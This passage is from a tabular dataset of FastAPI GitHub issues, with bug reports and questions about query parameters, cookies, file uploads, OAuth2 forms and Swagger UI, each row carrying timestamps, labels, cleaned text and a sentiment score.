![image](https://github.com/user-attachments/assets/68b08ec8-d54a-40dc-9d69-e75b19862cde)
",,2024-10-21 05:54:59+00:00,2024-10-21 06:12:49+00:00,0,nan,0.0124,use request in fastapi to get post json data request it throw a error exception in asgi application privileged issue x i m tiangolo or he asked me directly to create an issue here issue content code image error image,bug,-0.25
tiangolo/fastapi,2587616662,"""Cookies with a Pydantic Model"" the demo codes cannot run properly","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

https://fastapi.tiangolo.com/tutorial/cookie-param-models/#cookies-with-a-pydantic-model
```python
from typing import Annotated

from fastapi import Cookie, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Cookies(BaseModel):
    session_id: str
    fatebook_tracker: str | None = None
    googall_tracker: str | None = None


@app.get(""/items/"")
async def read_items(cookies: Annotated[Cookies, Cookie()]):
    return cookies
```
![QQ_1728967103087](https://github.com/user-attachments/assets/5de19020-653c-471f-8b75-b6933e5ab32b)
![QQ_1728967116921](https://github.com/user-attachments/assets/984079b5-58fd-4e55-bb92-eba18b68edd5)
![QQ_1728967226720](https://github.com/user-attachments/assets/738d45d6-3c32-4519-a35e-4e50f23c8fb5)




",,2024-10-15 04:41:08+00:00,2025-03-20 10:28:36+00:00,6,nan,156.2413,cookies with a pydantic model the demo codes cannot run properly privileged issue x i m tiangolo or he asked me directly to create an issue here issue content qq qq qq,others,-0.8722
tiangolo/fastapi,2580784883,Docs  run script error,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I cloned the project and installed requirements.txt. When I run ```python ./scripts/docs.py live az```, I get the following error.

OS: Windows 10 
Python version 3.12.5

![image](https://github.com/user-attachments/assets/665db120-5d1e-4256-8430-cee023023916)
",,2024-10-11 08:33:04+00:00,2025-03-19 16:55:05+00:00,5,nan,159.3486,docs run script error privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i cloned the project and installed requirements txt when i run i get the following error os windows python version image,bug,-0.25
tiangolo/fastapi,2580661957,python3.13 install uvicorn fault,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

o activate this project's virtualenv, run pipenv shell.
Alternatively, run a command inside the virtualenv with pipenv run.
Installing dependencies from Pipfile.lock (527371)...
: Collecting click==8.1.7 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 1))
:   Using cached click-8.1.7-py3-none-any.whl (97 kB)
: Collecting h11==0.14.0 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 2))
:   Using cached h11-0.14.0-py3-none-any.whl (58 kB)
: Collecting httptools==0.6.1 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 3))
:   Using cached httptools-0.6.1.tar.gz (191 kB)
:   Preparing metadata (setup.py): started
:   Preparing metadata (setup.py): finished with status 'done'
: Collecting python-dotenv==1.0.1 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 4))
:   Using cached python_dotenv-1.0.1-py3-none-any.whl (19 kB)
: Collecting pyyaml==6.0.2 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 5))
:   Using cached PyYAML-6.0.2-cp313-cp313-win_amd64.whl (156 kB)
: Collecting uvicorn==0.31.1 (from uvicorn==0.31.1->-r c:\users\starlee\appdata\local... [TRUNCATED]",,2024-10-11 07:36:16+00:00,2024-10-11 07:39:41+00:00,0,nan,0.0024,python install uvicorn fault privileged issue x i m tiangolo or he asked me directly to create an issue here issue content o activate this project s virtualenv run pipenv shell alternatively run a command inside the virtualenv with pipenv run installing dependencies from pipfile lock collecting click from r c users starlee appdata local temp pipenv dbv y a requirements pipenv a r hashed reqs txt line using cached click py none any whl kb collecting h from r c users starlee appdata local temp pipenv dbv y a requirements pipenv a r hashed reqs txt line using cached h py none any whl kb collecting httptools from r c users starlee appdata local temp pipenv dbv y a requirements pipenv a r hashed reqs txt line using cached httptools tar gz kb preparing metadata setup py started preparing metadata setup py finished with status done collecting python dotenv from r c users starlee appdata local temp pipenv dbv y a requirements pipenv a r hashed reqs txt line using cached python dotenv py none any whl kb collecting pyyaml from r c users starlee appdata local temp pipenv dbv y a requirements pipenv a r hashed reqs txt line using cached pyyaml cp cp win amd whl kb collecting uvicorn from uvicorn r c users starlee appdata local truncated,others,0.7269
tiangolo/fastapi,2577803191,"Question about ""Required, can be None"" parameter","### Discussed in https://github.com/fastapi/fastapi/discussions/12418

<div type='discussions-op-text'>

<sup>Originally posted by **bowenerchen** October 10, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from fastapi import FastAPI, Query

app = FastAPI()


@app.get(""/items/"")
async def read_items(q: Annotated[str | None, Query(min_length=3)] = ...):
    results = {""items"": [{""item_id"": ""Foo""}, {""item_id"": ""Bar""}]}
    if q:
        results.update({""q"": q})
    return results
```


### Description

https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#required-can-be-none
![QQ_1728534861112](https://github.co... [TRUNCATED]",docs,2024-10-10 06:46:25+00:00,2026-05-18 13:07:47+00:00,14,docs,585.2648,question about required can be none parameter discussed in originally posted by bowenerchen october first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description qq truncated,documentation,0.8126
tiangolo/fastapi,2572236872,"[BUG] In version 0.115.0 of FastAPI, the pydantic model that has declared an alias cannot correctly receive query parameters","Thank you for all the work you have done. I have initiated the [discussion ](https://github.com/fastapi/fastapi/discussions/12401)as requested, but I think this issue is quite important. Initiating this issue is just to prevent the discussion from being drowned out, and I apologize for any offense.

### Example Code

```python
import uvicorn
from typing import Literal

from fastapi import FastAPI, Query
from pydantic import BaseModel, ConfigDict, Field
from pydantic.alias_generators import to_camel

app = FastAPI()


class FilterParams(BaseModel):
    model_config = ConfigDict(alias_generator=to_camel)

    limit: int = Field(100, gt=0, le=100)
    offset: int = Field(0, ge=0)
    order_by: Literal['created_at', 'updated_at'] = 'created_at'
    tags: list[str] = []


@app.get('/items/')
async def read_items(filter_query: FilterParams = Query()):
    return filter_query


if __name__ == '__main__':
    uvicorn.run(app='app:app')
```


### Description

Running the code in the example above, I encountered an incorrect result when accessing http://127.0.0.1:8000/items/?offset=1&orderBy=updated_at in the browser, orderBy did not receive successfully.
```
{
    ""limit"": 100,
    ""offset"": 1,
    ""orderBy"": ""created_at"",
    ""tags"": []
}
```
The correct result should be as follows
```
{
    ""limit"": 100,
    ""offset"": 1,
    ""orderBy"": ""updated_at"",
    ""tags"": []
}
```

### Operating System

Windows

### Operating System De... [TRUNCATED]",,2024-10-08 06:42:41+00:00,2025-12-02 09:33:22+00:00,17,nan,420.1185,bug in version of fastapi the pydantic model that has declared an alias cannot correctly receive query parameters thank you for all the work you have done i have initiated the discussion requested but i think this issue is quite important initiating this issue is just to prevent the discussion from being drowned out and i apologize for any offense example code description running the code in the example above i encountered an incorrect result when accessing in the browser orderby did not receive successfully the correct result should be as follows windows de truncated,bug,-0.8463
tiangolo/fastapi,2564022536,HTML WEB SAMPLES FOR TOKEN AUTH,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Everything demo, o smal sample is oriented to json, not web templates,

could u include samples with html samples, about login jwt many concurrent users.

pls ",,2024-10-03 13:07:12+00:00,2024-10-03 13:23:18+00:00,0,nan,0.0112,html web samples for token auth privileged issue x i m tiangolo or he asked me directly to create an issue here issue content everything demo o smal sample is oriented to json not web templates could u include samples with html samples about login jwt many concurrent users pls,others,0.6486
tiangolo/fastapi,2555460290,Should the alias parameter in the Path method be removed?,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

This is my MRE code:
```python
from __future__ import annotations

from typing import Annotated

import uvicorn
from fastapi import FastAPI, Path

app = FastAPI()


@app.get('/{item_id}')
async def async_root(item_id: Annotated[int, Path(title = 'Item ID', alias = 'xid')]):
    return {'item_id': item_id}


if __name__ == '__main__':
    uvicorn.run(app, host = '127.0.0.1', port = 18081)
```
and I got the swagger docs:
http://127.0.0.1:18081/docs#/default/async_root__item_id__get
![QQ_1727667100103](https://github.com/user-attachments/assets/fbc42966-eba6-4f96-aa4f-bb85243022f7)

Question:
1. Why is the content of the title field not displayed in the documentation?
2. 
![QQ_1727667237322](https://github.com/user-attachments/assets/22d006f8-7ddc-4175-b7d9-1da86b55628b)
The generated curl request is incorrect; the placeholder {item_id} has not been replaced with the value 123 for xid
3. When I try to manually send a curl request to access it, I still get an error:
```python
curl http://127.0.0.1:18081/123
{""detail"":[{""type"":""missing"",""loc"":[""path"",""xid""],""msg"":""Field required"",""input"":null}]}
```
4. When I remove the alias field from the Path method, it works normally：
```python
@app.get('/{item_id}')
async def async_root(item_id: Annotated[int, Path(title = 'Item ID')]):
    return {'item_id': item_id}
```
![QQ_1727667506471](ht... [TRUNCATED]",,2024-09-30 03:44:47+00:00,2024-09-30 12:35:34+00:00,1,nan,0.3686,should the alias parameter in the path method be removed privileged issue i m tiangolo or he asked me directly to create an issue here issue content this is my mre code and i got the swagger docs qq question why is the content of the title field not displayed in the documentation qq the generated curl request is incorrect the placeholder item id has not been replaced with the value for xid when i try to manually send a curl request to access it i still get an error when i remove the alias field from the path method it works normally qq ht truncated,others,-0.7351
tiangolo/fastapi,2554768044,Required with Ellipsis may not work,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#required-parameters
![QQ_1727594279276](https://github.com/user-attachments/assets/86d8893a-4c3f-45cb-8fc3-7f97cad6ac00)
python interpreter:3.12.4
fastapi version:0.115.0

my codes:
```
from __future__ import annotations
from typing import Annotated
import uvicorn
from fastapi import FastAPI, Query
app = FastAPI()
@app.get(""/items/"")
async def read_items(q: Annotated[str, Query(min_length = 3)] = ...):
    """"""
    curl -X 'GET' 'http://127.0.0.1:18081/items/' -H 'accept: application/json'
    ValueError: [TypeError(""'ellipsis' object is not iterable""), TypeError('vars() argument must have __dict__ attribute')]
    """"""
    results = {""items"": [{""item_id"": ""Foo""}, {""item_id"": ""Bar""}]}
    if q:
        results.update({""q"": q})
    return results


if __name__ == '__main__':
    uvicorn.run(app, host = '127.0.0.1', port = 18081)
```
swagger docs:
![QQ_1727594546393](https://github.com/user-attachments/assets/c1b94031-5145-4f27-981a-6d35f6cc2fe2)

![QQ_1727594603897](https://github.com/user-attachments/assets/4d370afd-5642-4948-8521-65483a460514)

ValueError: [TypeError(""'ellipsis' object is not iterable""), TypeError('vars() argument must have __dict__ attribute')]
    
   ","docs,confirmed",2024-09-29 07:24:07+00:00,2025-02-15 16:25:43+00:00,15,"docs,confirmed",139.3761,required with ellipsis may not work privileged issue i m tiangolo or he asked me directly to create an issue here issue content qq python interpreter fastapi version my codes swagger docs qq qq valueerror typeerror ellipsis object is not iterable typeerror vars argument must have dict attribute,documentation,-0.9082
tiangolo/fastapi,2554241016,Chrome does not display Swagger UI,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

![image](https://github.com/user-attachments/assets/0a5523b2-3727-4e33-8590-e13b5a7c7126)

Chrome does not display Swagger UI, but Edge can. 
Is this a bug?
",,2024-09-28 13:51:40+00:00,2024-09-28 13:55:37+00:00,1,nan,0.0027,chrome does not display swagger ui privileged issue x i m tiangolo or he asked me directly to create an issue here issue content image chrome does not display swagger ui but edge can is this a bug,others,-0.5023
tiangolo/fastapi,2540994554,OpenAPI servers not being returned according how the docs say they should be,"### Discussed in https://github.com/fastapi/fastapi/discussions/12226

<div type='discussions-op-text'>

<sup>Originally posted by **mzealey** September 19, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

# you can add a test endpoint here or not - same bug either way
```


### Description

```
$ curl localhost:8$ curl localhost:8000/openapi.json
{""openapi"":""3.1.0"",""info"":{""title"":""FastAPI"",""version"":""0.1.0""},""paths"":{}}
```

According to the documentation of the `servers` parameter in FastAPI:

> If the servers list is not provided, or is an empty list, the default value would be a dict with a url value of /.
... [TRUNCATED]",question,2024-09-22 10:29:30+00:00,2025-12-02 09:11:40+00:00,5,question,435.9459,openapi servers not being returned according how the docs say they should be discussed in originally posted by mzealey september first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description according to the documentation of the parameter in fastapi if the servers list is not provided or is an empty list the default value would be a dict with a url value of truncated,documentation,0.9493
tiangolo/fastapi,2540742262,Optional form field not working with test client,"### Discussed in https://github.com/fastapi/fastapi/discussions/12227

<div type='discussions-op-text'>

<sup>Originally posted by **MartinAchtnerAA** September 19, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated, Literal, Optional

from fastapi import FastAPI, Form
from fastapi.testclient import TestClient

app = FastAPI()

@app.post(""/"")
async def read_main(
    attribute : Annotated[Optional[Literal[""abc"", ""def""]], Form()]
):
    print(attribute)


client = TestClient(app)


data = {}
data[""attribute""] = None

response = client.post(""/"", data=data)
print(response.content)
assert response.status_code == 200
```


### ... [TRUNCATED]",question,2024-09-22 07:25:15+00:00,2026-02-05 18:55:46+00:00,11,question,501.4795,optional form field not working with test client discussed in originally posted by martinachtneraa september first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code truncated,help,0.9136
tiangolo/fastapi,2539556953,"Regression between 0.113.0 and 0.114.0: OAuth2PasswordRequestForm used to accept grant_type=""""","### Discussed in https://github.com/fastapi/fastapi/discussions/12182

<div type='discussions-op-text'>

<sup>Originally posted by **rbubley** September 10, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# This is just the code from https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/#update-the-dependencies

from datetime import datetime, timedelta, timezone
from typing import Annotated

import jwt
from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jwt.exceptions import InvalidTokenError
from passlib.context import CryptContext
from pydantic import BaseModel

# to ... [TRUNCATED]",question,2024-09-20 19:42:01+00:00,2025-12-03 12:29:10+00:00,4,question,438.6994,regression between and oauth passwordrequestform used to accept grant type discussed in originally posted by rbubley september first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python this is just the code from from datetime import datetime timedelta timezone from typing import annotated import jwt from fastapi import depends fastapi httpexception status from fastapi security import oauth passwordbearer oauth passwordrequestform from jwt exceptions import invalidtokenerror from passlib context import cryptcontext from pydantic import basemodel to truncated,bug,0.9542
tiangolo/fastapi,2539550462,Sponsor Badge CSS overflow issue on the docs,"### Discussed in https://github.com/fastapi/fastapi/discussions/12218

<div type='discussions-op-text'>

<sup>Originally posted by **nat236919** September 19, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
announce-wrapper .sponsor-badge {
    display: block;
    position: absolute;
    top: -10px;
    right: 0;
    font-size: 0.5rem;
    color: #999;
    background-color: #666;
    border-radius: 10px;
    padding: 0 10px;
    z-index: 10;
}
```


### Description

![image](https://github.com/user-attachments/assets/0b9cc528-d268-4e2f-b073-0988228ebd55)

Due to its absolute position and overflow setting, the text is trailing down creating an expected scr... [TRUNCATED]",question,2024-09-20 19:37:07+00:00,2025-09-21 14:19:42+00:00,4,question,365.7796,sponsor badge css overflow issue on the docs discussed in originally posted by nat september first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description image due to its absolute position and overflow setting the text is trailing down creating an expected scr truncated,bug,0.9382
tiangolo/fastapi,2524971336,Some Bugs Regarding File Upload Functionality in FastAPI and Testing with Swagger UI,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

from fastapi import FastAPI, UploadFile, File, Form
from typing import List, Optional

app = FastAPI()

@app.post(""/upload/"")
async def upload_files(
    required_files: List[UploadFile] = File(...), 
    optional_files: List[Optional[UploadFile]] = File(None),  
    string_list: List[str] = Form(...) 
):
    return 

This code is an example, but I combined it with Swagger UI and found multiple problems, The following questions are respectively.
1. When the file list is defined as optional, if no optional files are selected in the Swagger UI, the backend code will report an error 422, indicating that the passed parameters cannot be received.
2. form-data type data cannot be passed together with the file type, and the back-end code cannot accept both types of data at the same time.
3. File type cannot be verified in pydantic model, but this does not seem to be a bug.
4. When receiving string types, adding multiple strings in Swagger UI, in the back-end code, using List[str] to receive will treat all strings as a larger string, resulting in only one string in the List. a string.



",,2024-09-13 14:22:05+00:00,2024-09-17 21:57:23+00:00,9,nan,4.3162,some bugs regarding file upload functionality in fastapi and testing with swagger ui privileged issue x i m tiangolo or he asked me directly to create an issue here issue content from fastapi import fastapi uploadfile file form from typing import list optional app fastapi app post upload async def upload files required files list uploadfile file optional files list optional uploadfile file none string list list str form return this code is an example but i combined it with swagger ui and found multiple problems the following questions are respectively when the file list is defined as optional if no optional files are selected in the swagger ui the backend code will report an error indicating that the passed parameters cannot be received form data type data cannot be passed together with the file type and the back end code cannot accept both types of data at the same time file type cannot be verified in pydantic model but this does not seem to be a bug when receiving string types adding multiple strings in swagger ui in the back end code using list str to receive will treat all strings as a larger string resulting in only one string in the list a string,bug,-0.8392
tiangolo/fastapi,2508744388,Your upgrade of 113 broken all gradio apps - a fix needed ASAP this is devastating ,"a very basic just gradio having app

fast api 111 fixes issue

all of my followers now reporting errors and so hard to fix all

i don't know how can you publish such a devastating bug having version please fix it ASAP


```
2024-09-06 00:12:20,515 - INFO - HTTP Request: GET https://api.gradio.app/gradio-messaging/en ""HTTP/1.1 200 OK""
Running on local URL:  http://127.0.0.1:7860
2024-09-06 00:12:20,542 - INFO - HTTP Request: GET http://127.0.0.1:7860/startup-events ""HTTP/1.1 200 OK""
2024-09-06 00:12:20,552 - INFO - HTTP Request: HEAD http://127.0.0.1:7860/ ""HTTP/1.1 200 OK""

To create a public link, set `share=True` in `launch()`.
2024-09-06 00:12:20,673 - INFO - HTTP Request: GET https://checkip.amazonaws.com/ ""HTTP/1.1 200 ""
2024-09-06 00:12:21,337 - INFO - HTTP Request: GET https://api.gradio.app/pkg-version ""HTTP/1.1 200 OK""
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""R:\Image_Caption_Editor_v6\venv\lib\site-packages\pydantic\type_adapter.py"", line 209, in __init__
    core_schema = _getattr_no_parents(type, '__pydantic_core_schema__')
  File ""R:\Image_Caption_Editor_v6\venv\lib\site-packages\pydantic\type_adapter.py"", line 98, in _getattr_no_parents
    raise AttributeError(attribute)
AttributeError: __pydantic_core_schema__

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File ""R:\Image_Caption_Editor_v6\venv\lib\site-packages\uvicorn\protocols\ht... [TRUNCATED]",answered,2024-09-05 21:18:44+00:00,2024-10-22 22:18:20+00:00,37,answered,47.0414,your upgrade of broken all gradio apps a fix needed asap this is devastating a very basic just gradio having app fast api fixes issue all of my followers now reporting errors and so hard to fix all i don t know how can you publish such a devastating bug having version please fix it asap info http request get http ok running on local url info http request get http ok info http request head http ok to create a public link set in info http request get http info http request get http ok error exception in asgi application traceback most recent call last file r image caption editor v venv lib site packages pydantic type adapter py line in init core schema getattr no parents type pydantic core schema file r image caption editor v venv lib site packages pydantic type adapter py line in getattr no parents raise attributeerror attribute attributeerror pydantic core schema during handling of the above exception another exception occurred traceback most recent call last file r image caption editor v venv lib site packages uvicorn protocols ht truncated,bug,-0.7645
tiangolo/fastapi,2499650328,Here is the starter kit for fast api forked original one but only included the backend part it take me so much time to clean up the code and only keep the backend part so i hope it helps you guys ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

 https://github.com/bibektimilsina00/FastAPI-PgStarterKit",,2024-09-01 19:42:13+00:00,2024-09-01 19:44:22+00:00,0,nan,0.0015,here is the starter kit for fast api forked original one but only included the backend part it take me so much time to clean up the code and only keep the backend part so i hope it helps you guys privileged issue x i m tiangolo or he asked me directly to create an issue here issue content,help,0.9706
tiangolo/fastapi,2479428438,Why can't the key of the returned value start with “_sa”?,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```
import uvicorn
from fastapi import FastAPI


app = FastAPI()


@app.get(""/"")
def root():
    return {""_sa"": ""Hello World"", ""status"": ""OK""}


if __name__ == '__main__':
    uvicorn.run(app, host=""0.0.0.0"", port=8000)
```
The result of the above code is:
```
{
    ""status"": ""OK""
}
```",,2024-08-21 23:42:20+00:00,2024-08-22 13:54:53+00:00,2,nan,0.592,why can t the key of the returned value start with sa privileged issue x i m tiangolo or he asked me directly to create an issue here issue content the result of the above code is,others,0.7506
tiangolo/fastapi,2473091420,"FastAPI does not allow to send a ""None"" UploadFile","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have a POST method with FastAPI which has 2 params with UploadFile type. But one of them is required and one of them is Optional. When I send required param with None value, I got 422 error relating to ""Field required"". But if I send Optional param with None value, it's acceptable.
When I use:
from fastapi import Request
And add:
request: Request as extra param, then log request.form(), I don't see Optional param.
It seems to FastAPI ignored it?

My code is below:
from fastapi import File, Request, UploadFile
from typing import Annatoted

app: FastAPI = FastAPI()

@app.post(/test)
async def test(
    request: Request,
    firstFile: Annatoted[UploadFile, File(...)],
    secondFile: Annatoted[UploadFile | None, File(...)] = None):
    logger.debug(await request.form())",,2024-08-19 11:07:12+00:00,2024-08-19 11:18:04+00:00,0,nan,0.0075,fastapi does not allow to send a none uploadfile privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have a post method with fastapi which has params with uploadfile type but one of them is required and one of them is optional when i send required param with none value i got error relating to field required but if i send optional param with none value it s acceptable when i use from fastapi import request and add request request as extra param then log request form i don t see optional param it seems to fastapi ignored it my code is below from fastapi import file request uploadfile from typing import annatoted app fastapi fastapi app post test async def test request request firstfile annatoted uploadfile file secondfile annatoted uploadfile none file none logger debug await request form,others,-0.8026
tiangolo/fastapi,2466028114,"👷🏻 Recently, the CI is failing due to docs building failures","### Discussed in https://github.com/fastapi/fastapi/discussions/12011

<div type='discussions-op-text'>

<sup>Originally posted by **svlandeg** August 14, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Description

Recently, PRs have started failing the CI due to failing some of the document building checks. It looks like a regression may have been introduced on `master` causing this.

Example PRs that failed today:
 * https://github.com/fastapi/fastapi/pull/11876
 * https://github.com/fastapi/fastapi/pull/11515

The error is caused by the following error:
```
No such file or directory: '/home/runner/work/fastapi/fastapi/docs/de/docs/img/icon-white.svg'
```

And the same thing in other ... [TRUNCATED]","bug,internal",2024-08-14 14:33:00+00:00,2024-08-14 14:52:21+00:00,1,"bug,internal",0.0134,recently the ci is failing due to docs building failures discussed in originally posted by svlandeg august first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options description recently prs have started failing the ci due to failing some of the document building checks it looks like a regression may have been introduced on causing this example prs that failed today the error is caused by the following error and the same thing in other truncated,bug,-0.8898
tiangolo/fastapi,2465473911,Problem where scheduled tasks will be executed repeatedly when starting with multiple workders,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i use this command to start my application 
`
nohup uvicorn app:app --host 0.0.0.0 --port 8000 --workers 5 > ../app.log 2>&1 &`
my task code 
`async def my_task():
      do some curd code 

trigger = CronTrigger(hour=18, minute=35)

scheduler.add_job(my_task, trigger)

scheduler.start()
`

This task will be executed repeatedly, resulting in duplicate data
",,2024-08-14 10:33:40+00:00,2024-08-14 11:03:08+00:00,0,nan,0.0205,problem where scheduled tasks will be executed repeatedly when starting with multiple workders privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i use this command to start my application nohup uvicorn app app host port workers app log my task code async def my task do some curd code trigger crontrigger hour minute scheduler add job my task trigger scheduler start this task will be executed repeatedly resulting in duplicate data,bug,0.3182
tiangolo/fastapi,2460763258,"Using fast API's multi-value Query parameters, but only receiving the last value","I followed the method in the document (https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#query-parameter-list-multiple-values-with-defaults)and the parameters of the interface list, but the data obtained is always only the last data. 
like this:
localhost:8000/path/getList?q=Value1&q=Value2

@router.get(""/path/getList"")
async def get_list(
        command: Union[list[str], None] = Query(default=None)
):
    for item in command:
        print(item)

console only log one data: Value2, Is there any way to troubleshoot?",,2024-08-12 11:39:51+00:00,2024-08-12 12:02:44+00:00,1,nan,0.0159,using fast api s multi value query parameters but only receiving the last value i followed the method in the document the parameters of the interface list but the data obtained is always only the last data like this localhost path getlist q value q value router get path getlist async def get list command union list str none query default none for item in command print item console only log one data value is there any way to troubleshoot,others,0.9615
